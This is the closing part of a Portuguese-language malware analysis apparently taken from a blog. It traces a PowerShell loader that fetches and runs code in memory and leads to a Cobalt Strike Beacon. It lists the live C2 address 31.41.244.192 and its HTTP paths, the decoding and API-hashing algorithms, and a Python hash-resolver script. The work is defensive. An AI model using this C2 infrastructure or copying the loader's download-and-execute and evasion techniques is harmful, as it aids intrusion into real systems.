Monitorar:

1
2
3
31.41.244.192:80
GET /push
POST /submit.php

O User-Agent antigo e incomum também pode ser utilizado como indicador complementar.

19.4 Comportamento

Correlacionar:

1
2
3
4
5
6
7
PowerShell
→ DownloadString
→ execução em memória
→ file mapping executável
→ encerramento do processo pai
→ reflective loading
→ comunicação WinINet

20. Conclusão

A cadeia analisada utiliza PowerShell como mecanismo inicial de download e execução em memória.

O loader evita declarações P/Invoke explícitas por meio de reflexão .NET, processa um payload Base64 com CryptStringToBinaryA e grava o shellcode resultante em uma região de memória executável.

O shellcode inicial recupera uma DLL x86 por meio de um decoder baseado em rotação de bits. Essa DLL atua como loader intermediário, resolve APIs por CRC32, implementa mecanismos de controle da árvore de processos e extrai um segundo PE embutido.

O segundo estágio foi identificado como um Cobalt Strike Beacon x86. Sua configuração foi recuperada por meio de XOR 0x2E e revelou comunicação HTTP com:

1
2
3
31.41.244.192:80
GET /push
POST /submit.php

O Beacon implementa capacidades de:

  • execução remota;
  • injeção em processos;
  • manipulação de tokens;
  • execução PowerShell;
  • operações com serviços;
  • comunicação HTTP C2.

A análise não confirmou persistência automática nem a execução efetiva de todas as capacidades presentes. Essas funcionalidades devem ser interpretadas como recursos disponíveis ao operador após o estabelecimento da comunicação com o C2.


Apêndice A — Arquivos produzidos

1
2
3
4
5
loader.ps1
stage0_shellcode.bin
stage1_decoded.bin
stage2_decoded.bin
config_decoded.bin

Apêndice B — Resumo dos algoritmos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Stage 0:
CryptStringToBinaryA / base64

Stage 1:
ROR8 por byte
Contagem = chave incremental & 7

Stage 2:
ROR8 por byte
Contagem = (1 + índice) & 7
Decodificação para nova região RWX
Execução pelo endereço-base da região recuperada

Configuração:
XOR por byte com 0x2E

API hashing:
CRC32 refletido
Polinômio 0xEDB88320
Seed 0xFFFFFFFF
Sem XOR final observado

Apêndice C — Fluxo resumido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
powershell.exe
    |
    | DownloadString + IEX
    v
loader.ps1
    |
    | CryptStringToBinaryA
    v
stage0_shellcode.bin
    |
    | ROR decoder
    v
stage1_decoded.bin
    |
    | API hashing / controle de processos / ROR
    v
stage2_decoded.bin
    |
    | ReflectiveLoader / XOR config
    v
Cobalt Strike Beacon
    |
    | HTTP
    v
31.41.244.192:80

Apêndice D — Mapeamento completo dos hashes de API

↩ Voltar ao ponto da referência

kernel32.dll

Hash CRC32API resolvida
0x007F73EFCreateRemoteThread
0x0394BD0EGetModuleFileNameW
0x05C2D077FlushFileBuffers
0x06EE1D63HeapDestroy
0x083851BDReadProcessMemory
0x0AB29637CopyFileW
0x0AE688F8Thread32Next
0x0B635934PeekNamedPipe
0x1038158BSetFilePointer
0x1704C494FreeEnvironmentStringsA
0x17A15D18WriteConsoleW
0x17F91E53LeaveCriticalSection
0x19D17DB2VirtualAllocEx
0x1C812D1EInitializeCriticalSectionAndSpinCount
0x1DE0986EDuplicateHandle
0x1FA744BAWaitForSingleObject
0x20200D0BOutputDebugStringW
0x207889B5GetVersionExA
0x20D8AEB4OpenProcess
0x21600F2EMoveFileA
0x22041FCBSetLastError
0x231ACDD9GetFileType
0x24279339CompareStringA
0x25227614GetStdHandle
0x2582BE79SetEnvironmentVariableW
0x2597DC70FreeLibrary
0x264DFB6BGetCommandLineW
0x27D40965FindClose
0x27FA4E5DReadConsoleA
0x288801BBGetACP
0x296DC854GetFullPathNameW
0x2A3CA097SetStdHandle
0x2D1AC948GetLastError
0x2DC506A1DecodePointer
0x2E1B9C17TlsGetValue
0x2F79E55BGetCurrentProcess
0x310D1257Sleep
0x32AA51ABGetConsoleCP
0x32AC0A22VirtualFree
0x3316A9EDWriteFile
0x347BE5ABSetUnhandledExceptionFilter
0x34EAF723LoadLibraryW
0x35F56674AreFileApisANSI
0x36142A31FindFirstFileA
0x3683E000GetProcAddress
0x38623B1CGetCurrentDirectoryA
0x38CE4F40RemoveDirectoryW
0x3B4B56B2GetFileAttributesW
0x3E0C4789CreateToolhelp32Snapshot
0x3E19300AGetEnvironmentStringsW
0x43949840Process32NextW
0x43F291E1IsProcessorFeaturePresent
0x4505FC28SetHandleCount
0x457C3B09GetComputerNameA
0x47AB7900OpenThread
0x49C0EE61WaitNamedPipeW
0x4BE46D93CreateFileMappingA
0x4DF59A83GetModuleHandleExA
0x4E799A8FGetModuleHandleA
0x4E7D2056HeapCreate
0x4EACF3C1GetOEMCP
0x4F091756HeapFree
0x4F6CEA0BCloseHandle
0x5199F0B9UpdateProcThreadAttribute
0x521D346AGetStartupInfoA
0x52A94FBDQueryPerformanceCounter
0x54BF4072TerminateProcess
0x5764C7D0MapViewOfFile
0x57AE26E9CreateProcessA
0x59454763ExpandEnvironmentStringsA
0x5C79E9FFLCMapStringA
0x5CA76EFCDeleteCriticalSection
0x5DEA8D31CreatePipe
0x5E1016D6CreateFileW
0x629DCE31SetCurrentDirectoryW
0x64EFD1D2LoadLibraryExA
0x657F1A76WideCharToMultiByte
0x667AF71DSetFilePointerEx
0x69D3CE38GetStringTypeA
0x6ADB82C6CreateNamedPipeW
0x6E649434DeleteFileA
0x6F95F94FCreateThread
0x6FFCBEB5GetConsoleOutputCP
0x71139260GetSystemTimeAsFileTime
0x7207819CGetCurrentThreadId
0x7AB4C783GetLocaleInfoW
0x7BC9086AIsDebuggerPresent
0x7C6586FASetErrorMode
0x7D65BB85ConnectNamedPipe
0x7E0C63E6FindNextFileW
0x7E68FFB3Process32FirstW
0x7EB24952CreateDirectoryA
0x7EFDC07AProcessIdToSessionId
0x7F509D1EExitThread
0x81C17B2AEncodePointer
0x84221D18Wow64SetThreadContext
0x8A66FC03CreateDirectoryW
0x8AD8D6B7FindNextFileA
0x8D0EE1C6MultiByteToWideChar
0x8E6072D2GetLocaleInfoA
0x8EE3D934GetLogicalDrives
0x903B6483LoadLibraryExW
0x96497B60SetCurrentDirectoryA
0x976BF8A9FileTimeToSystemTime
0x985383D9SystemTimeToTzSpecificLocalTime
0x9AB02165DeleteFileW
0x9B61463EGetThreadContext
0x9D077B69GetStringTypeW
0x9E0F3797CreateNamedPipeA
0xA124E28DHeapAlloc
0xA23ED800GetConsoleMode
0xA2E7FBECVirtualProtectEx
0xA37A93B8CreateProcessW
0xA4BDE607GetTickCount
0xA6BDEBA2SetNamedPipeHandleState
0xA6C9813BGetStartupInfoW
0xA7765701HeapReAlloc
0xA8AD5CAELCMapStringW
0xA9773427SetThreadContext
0xAAC4A387CreateFileA
0xAD91F232ExpandEnvironmentStringsW
0xAF201BD3DebugBreak
0xB0A768D1WriteProcessMemory
0xB1A88E58GetComputerNameW
0xB61FD3CBVirtualQuery
0xB6346F01Wow64GetThreadContext
0xB81509F1TlsFree
0xB9212FD2GetModuleHandleExW
0xBAAD2FDEGetModuleHandleW
0xBD0B6607DeleteProcThreadAttributeList
0xBD145B30WaitNamedPipeA
0xBF09BD92GetProcessHeap
0xBF30D8C2CreateFileMappingW
0xC03E4272LoadLibraryA
0xC2C09F60FindFirstFileW
0xC6E54950UnmapViewOfFile
0xC78D4146ResumeThread
0xCACD855BGetEnvironmentStringsA
0xCC1AFA11RemoveDirectoryA
0xCCB68E4DGetCurrentDirectoryW
0xCF9FE3E3GetFileAttributesA
0xD06FE642DisconnectNamedPipe
0xD0F32668CompareStringW
0xD0FE5166EnterCriticalSection
0xD1560B28SetEnvironmentVariableA
0xD1AFCBF4IsWow64Process
0xD2994E3AGetCommandLineA
0xD32EFB0CReadConsoleW
0xD4AC3CE4GetVersionExW
0xD4F4B85AOutputDebugStringA
0xD5B4BA7FMoveFileW
0xD6EAA3C6TlsSetValue
0xD8092904GetCPInfo
0xD9830E5AProcess32First
0xD9A3A95FInitializeProcThreadAttributeList
0xDAE64EA5SetEndOfFile
0xDAEF6833ExitProcess
0xDC74CEEBThread32First
0xDDB97D05GetFullPathNameA
0xE24BEC1CGetCurrentProcessId
0xE375E849WriteConsoleA
0xE3A7BFC3IsValidCodePage
0xE3D071C5FreeEnvironmentStringsW
0xE44BC2DFGetLocalTime
0xE619A249GetCurrentThread
0xE961C8D8TlsAlloc
0xECAC0FD0UnhandledExceptionFilter
0xEFF990D0VirtualProtect
0xF5E7F2F4HeapSize
0xF631F2B5VirtualAlloc
0xF6A3FC2FReadFile
0xF740085FGetModuleFileNameA
0xFD712A3FProcess32Next
0xFE662366CopyFileA

ws2_32.dll

Hash CRC32API resolvida
0x053BE917htons
0x2AC874D1ioctlsocket
0x34EB427DWSASocketA
0x3DDB9802listen
0x4CDF12CBaccept
0x5129B6C4ntohl
0x588CC532send
0x5A392888closesocket
0x5F0A036CWSAStartup
0x6067C93FWSAIoctl
0x6A5D213Dshutdown
0x6AC070A3__WSAFDIsSet
0x71CC6743WSACleanup
0x8833E4E2htonl
0x8B3006E0connect
0xA627AD52recv
0xAFF54180WSAGetLastError
0xB40D153Fselect
0xB9330CACbind
0xC03FF72CWSASocketW
0xC88ABA5Dgethostbyname
0xDC21BB31ntohs
0xFA1A9744socket

wininet.dll

Hash CRC32API resolvida
0x00FF4E09HttpSendRequestA
0x099E7708HttpQueryInfoW
0x14786735InternetErrorDlg
0x1AE6E2DBInternetCloseHandle
0x1D68C08EHttpAddRequestHeadersW
0x25E957C2InternetOpenA
0x3AB06AA7InternetQueryOptionA
0x3DB05A0BInternetConnectA
0x4171F640InternetSetOptionW
0x4515EC5FInternetSetStatusCallbackA
0x4F5642C5HttpOpenRequestW
0x933F670AInternetReadFile
0xB1C1590EInternetSetStatusCallbackW
0xB5A54311InternetSetOptionA
0xBB82F794HttpOpenRequestA
0xC964EF5AInternetConnectW
0xCE64DFF6InternetQueryOptionW
0xD13DE293InternetOpenW
0xE5068E1BInternetQueryDataAvailable
0xE9BC75DFHttpAddRequestHeadersA
0xF42BFB58HttpSendRequestW
0xFD4AC259HttpQueryInfoA

advapi32.dll

Hash CRC32API resolvida
0x267823E2CreateServiceA
0x3995935BQueryServiceStatus
0x793811ADOpenSCManagerA
0x7E4B6E4AStartServiceW
0x8A9FDB1BStartServiceA
0x8DECA4FCOpenSCManagerW
0x8F8A3020CloseServiceHandle
0xD2AC96B3CreateServiceW
0xD646D2A5DeleteService

Apêndice E — Script completo de resolução dos hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pathlib import Path
from collections import defaultdict
import pefile

kernel32_hashes = [
    0x35F56674, 0x4F6CEA0B, 0x24279339, 0xD0F32668, 0x7D65BB85, 0xFE662366, 0xAB29637, 0x7EB24952, 0x8A66FC03, 0xAAC4A387, 0x5E1016D6, 0x4BE46D93, 0xBF30D8C2, 0x9E0F3797, 0x6ADB82C6, 0x5DEA8D31, 0x57AE26E9, 0xA37A93B8, 0x7F73EF, 0x6F95F94F, 0x3E0C4789, 0xAF201BD3, 0x2DC506A1, 0x5CA76EFC, 0x6E649434, 0x9AB02165, 0xBD0B6607, 0xD06FE642, 0x1DE0986E, 0x81C17B2A, 0xD0FE5166, 0xDAEF6833, 0x7F509D1E, 0x59454763, 0xAD91F232, 0x976BF8A9, 0x27D40965, 0x36142A31, 0xC2C09F60, 0x8AD8D6B7, 0x7E0C63E6, 0x5C2D077, 0x1704C494, 0xE3D071C5, 0x2597DC70, 0x288801BB, 0xD8092904, 0xD2994E3A, 0x264DFB6B, 0x457C3B09, 0xB1A88E58, 0x32AA51AB, 0xA23ED800, 0x6FFCBEB5, 0x38623B1C, 0xCCB68E4D, 0x2F79E55B, 0xE24BEC1C, 0xE619A249, 0x7207819C, 0xCACD855B, 0x3E19300A, 0xCF9FE3E3, 0x3B4B56B2, 0x231ACDD9, 0xDDB97D05, 0x296DC854, 0x2D1AC948, 0xE44BC2DF, 0x8E6072D2, 0x7AB4C783, 0x8EE3D934, 0xF740085F, 0x394BD0E, 0x4E799A8F, 0xBAAD2FDE, 0x4DF59A83, 0xB9212FD2, 0x4EACF3C1, 0x3683E000, 0xBF09BD92, 0x521D346A, 0xA6C9813B, 0x25227614, 0x69D3CE38, 0x9D077B69, 0x71139260, 0x9B61463E, 0xA4BDE607, 0x207889B5, 0xD4AC3CE4, 0xA124E28D, 0x4E7D2056, 0x6EE1D63, 0x4F091756, 0xA7765701, 0xF5E7F2F4, 0x1C812D1E, 0xD9A3A95F, 0x7BC9086A, 0x43F291E1, 0xE3A7BFC3, 0xD1AFCBF4, 0x5C79E9FF, 0xA8AD5CAE, 0x17F91E53, 0xC03E4272, 0x34EAF723, 0x64EFD1D2, 0x903B6483, 0x5764C7D0, 0x21600F2E, 0xD5B4BA7F, 0x8D0EE1C6, 0x20D8AEB4, 0x47AB7900, 0xD4F4B85A, 0x20200D0B, 0xB635934, 0xD9830E5A, 0xFD712A3F, 0x7E68FFB3, 0x43949840, 0x7EFDC07A, 0x52A94FBD, 0x27FA4E5D, 0xD32EFB0C, 0xF6A3FC2F, 0x83851BD, 0xCC1AFA11, 0x38CE4F40, 0xC78D4146, 0x96497B60, 0x629DCE31, 0xDAE64EA5, 0xD1560B28, 0x2582BE79, 0x7C6586FA, 0x1038158B, 0x667AF71D, 0x4505FC28, 0x22041FCB, 0xA6BDEBA2, 0x2A3CA097, 0xA9773427, 0x347BE5AB, 0x310D1257, 0x985383D9, 0x54BF4072, 0xDC74CEEB, 0xAE688F8, 0xE961C8D8, 0xB81509F1, 0x2E1B9C17, 0xD6EAA3C6, 0xECAC0FD0, 0xC6E54950, 0x5199F0B9, 0xF631F2B5, 0x19D17DB2, 0x32AC0A22, 0xEFF990D0, 0xA2E7FBEC, 0xB61FD3CB, 0x1FA744BA, 0xBD145B30, 0x49C0EE61, 0x657F1A76, 0xB6346F01, 0x84221D18, 0xE375E849, 0x17A15D18, 0x3316A9ED, 0xB0A768D1
]
 
ws2_32_hashes = [
    0x71CC6743, 0xAFF54180, 0x6067C93F, 0x34EB427D, 0xC03FF72C, 0x5F0A036C, 0x6AC070A3, 0x4CDF12CB, 0xB9330CAC, 0x5A392888, 0x8B3006E0, 0xC88ABA5D, 0x8833E4E2, 0x53BE917, 0x2AC874D1, 0x3DDB9802, 0x5129B6C4, 0xDC21BB31, 0xA627AD52, 0xB40D153F, 0x588CC532, 0x6A5D213D, 0xFA1A9744
]
 
wininet_hashes = [
    0xE9BC75DF, 0x1D68C08E, 0xBB82F794, 0x4F5642C5, 0xFD4AC259, 0x99E7708, 0xFF4E09, 0xF42BFB58, 0x1AE6E2DB, 0x3DB05A0B, 0xC964EF5A, 0x25E957C2, 0xD13DE293, 0xE5068E1B, 0x3AB06AA7, 0xCE64DFF6, 0x933F670A, 0xB5A54311, 0x4171F640, 0x4515EC5F, 0xB1C1590E, 0x14786735
]

advapi32_hashes = [
    0x8F8A3020, 0x267823E2, 0xD2AC96B3, 0xD646D2A5, 0x793811AD, 0x8DECA4FC, 0x3995935B, 0x8A9FDB1B, 0x7E4B6E4A
]

def malware_crc32_name(name: bytes) -> int:
    crc = 0xFFFFFFFF

    for byte in name:
        crc ^= byte

        for _ in range(8):
            if crc & 1:
                crc = (
                    (crc >> 1) ^
                    0xEDB88320
                )
            else:
                crc >>= 1

            crc &= 0xFFFFFFFF

    return crc


def build_export_hash_index(
    dll_path: Path
):
    pe = pefile.PE(str(dll_path))
    index = defaultdict(list)

    for export in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if not export.name:
            continue

        export_name = export.name.decode(
            "ascii",
            errors="replace"
        )

        export_hash = malware_crc32_name(
            export.name
        )

        index[export_hash].append(
            export_name
        )

    return index


def resolve_hashes(
    dll_name: str,
    dll_path: Path,
    hashes: list[int]
):
    export_index = build_export_hash_index(
        dll_path
    )

    results = []

    for target_hash in hashes:
        matches = export_index.get(
            target_hash & 0xFFFFFFFF,
            []
        )
        if matches:
            for api_name in matches:
                results.append({
                    "dll": dll_name,
                    "hash": (
                        target_hash &
                        0xFFFFFFFF
                    ),
                    "api": api_name,
                })
        else:
            results.append({
                "dll": dll_name,
                "hash": (
                    target_hash &
                    0xFFFFFFFF
                ),
                "api": "UNRESOLVED",
            })

    return results


all_results = []

"""
If you are on Linux, you can get the respective DLLs at
https://winbindex.m417z.com/?file=<DLL_Name>.dll 
and change the paths below to run this script 
"""

jobs = {
    "kernel32.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\kernel32.dll"
        ),
        "hashes": kernel32_hashes,
    },
    "ws2_32.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\ws2_32.dll"
        ),
        "hashes": ws2_32_hashes,
    },
    "wininet.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\wininet.dll"
        ),
        "hashes": wininet_hashes,
    },
    "advapi32.dll": {
        "path": Path(
            r"C:\Windows\SysWOW64\advapi32.dll"
        ),
        "hashes": advapi32_hashes,
    },
}

for dll_name, job in jobs.items():
    results = resolve_hashes(
        dll_name,
        job["path"],
        job["hashes"]
    )

    all_results.extend(results)

    print(f"\n--- {dll_name} ---")

    for result in results:
        print(
            f"0x{result['hash']:08X}"
            f" -> {result['api']}"
        )

Saiba mais

1) DFIR Report (2023): From ScreenConnect to Hive Ransomware in 61 hours

2) eSentire Threat Intelligence Malware Analysis (2023): Resident Campaign

Esta postagem está licenciada sob CC BY 4.0 pelo autor.